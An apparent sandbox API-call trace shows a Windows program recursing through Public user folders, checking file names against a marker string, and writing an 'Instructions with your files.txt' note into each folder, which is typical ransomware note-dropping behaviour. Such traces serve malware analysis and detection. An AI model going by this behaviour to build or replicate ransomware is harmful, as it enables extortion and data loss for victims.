[0132.539] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\My Videos") returned 39
[0132.539] GetProcessHeap () returned 0x810000
[0132.539] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.539] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\My Videos\\*") returned 41
[0132.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x1ca0441, ftCreationTime.dwLowDateTime=0x2d195020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x11, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="Ȭ癙䯀
翿")) returned 0xffffffff
[0132.539] GetProcessHeap () returned 0x810000
[0132.539] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.539] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0
[0132.540] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\Instructions with your files.txt") returned 62
[0132.540] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\Instructions with your files.txt" (normalized: "c:\\users\\public\\documents\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.541] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.542] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.542] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.542] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.542] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.542] CloseHandle (hObject=0x10c) returned 1
[0132.542] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.542] GetProcessHeap () returned 0x810000
[0132.542] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.542] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
[0132.542] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Downloads") returned 29
[0132.542] GetProcessHeap () returned 0x810000
[0132.542] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.542] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Downloads\\*") returned 31
[0132.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.543] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Downloads\\.") returned 31
[0132.543] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.543] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.543] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Downloads\\..") returned 32
[0132.543] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.543] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.543] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Downloads\\desktop.ini") returned 41
[0132.543] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.543] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0132.543] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Downloads\\Instructions with your files.txt") returned 62
[0132.543] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Downloads\\Instructions with your files.txt" (normalized: "c:\\users\\public\\downloads\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.543] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.544] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.544] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.544] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.544] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.544] CloseHandle (hObject=0x10c) returned 1
[0132.544] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.544] GetProcessHeap () returned 0x810000
[0132.544] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.544] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
[0132.544] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Favorites") returned 29
[0132.545] GetProcessHeap () returned 0x810000
[0132.545] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.545] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Favorites\\*") returned 31
[0132.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Favorites\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.545] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Favorites\\.") returned 31
[0132.545] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.545] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.545] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Favorites\\..") returned 32
[0132.545] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.545] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0132.545] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Favorites\\Instructions with your files.txt") returned 62
[0132.545] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Favorites\\Instructions with your files.txt" (normalized: "c:\\users\\public\\favorites\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.545] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.546] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.546] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.546] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.547] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.547] CloseHandle (hObject=0x10c) returned 1
[0132.547] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.547] GetProcessHeap () returned 0x810000
[0132.547] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.547] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1
[0132.547] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Libraries") returned 29
[0132.547] GetProcessHeap () returned 0x810000
[0132.547] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.547] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Libraries\\*") returned 31
[0132.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.547] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Libraries\\.") returned 31
[0132.547] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.547] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.547] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Libraries\\..") returned 32
[0132.547] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.547] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.547] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Libraries\\desktop.ini") returned 41
[0132.547] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.547] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1
[0132.548] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned 51
[0132.548] StrStrIW (lpFirst="RecordedTV.library-ms", lpSrch="SDfghjkl") returned 0x0
[0132.548] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0
[0132.548] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Libraries\\Instructions with your files.txt") returned 62
[0132.548] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\Instructions with your files.txt" (normalized: "c:\\users\\public\\libraries\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.550] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.551] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.551] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.551] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.551] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.551] CloseHandle (hObject=0x10c) returned 1
[0132.552] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.552] GetProcessHeap () returned 0x810000
[0132.552] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.552] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
[0132.552] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music") returned 25
[0132.552] GetProcessHeap () returned 0x810000
[0132.552] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.552] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\*") returned 27
[0132.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Music\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.552] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\.") returned 27
[0132.552] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.552] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.552] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\..") returned 28
[0132.552] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.552] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.552] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\desktop.ini") returned 37
[0132.552] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.552] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1
[0132.552] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\Sample Music") returned 38
[0132.552] GetProcessHeap () returned 0x810000
[0132.552] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
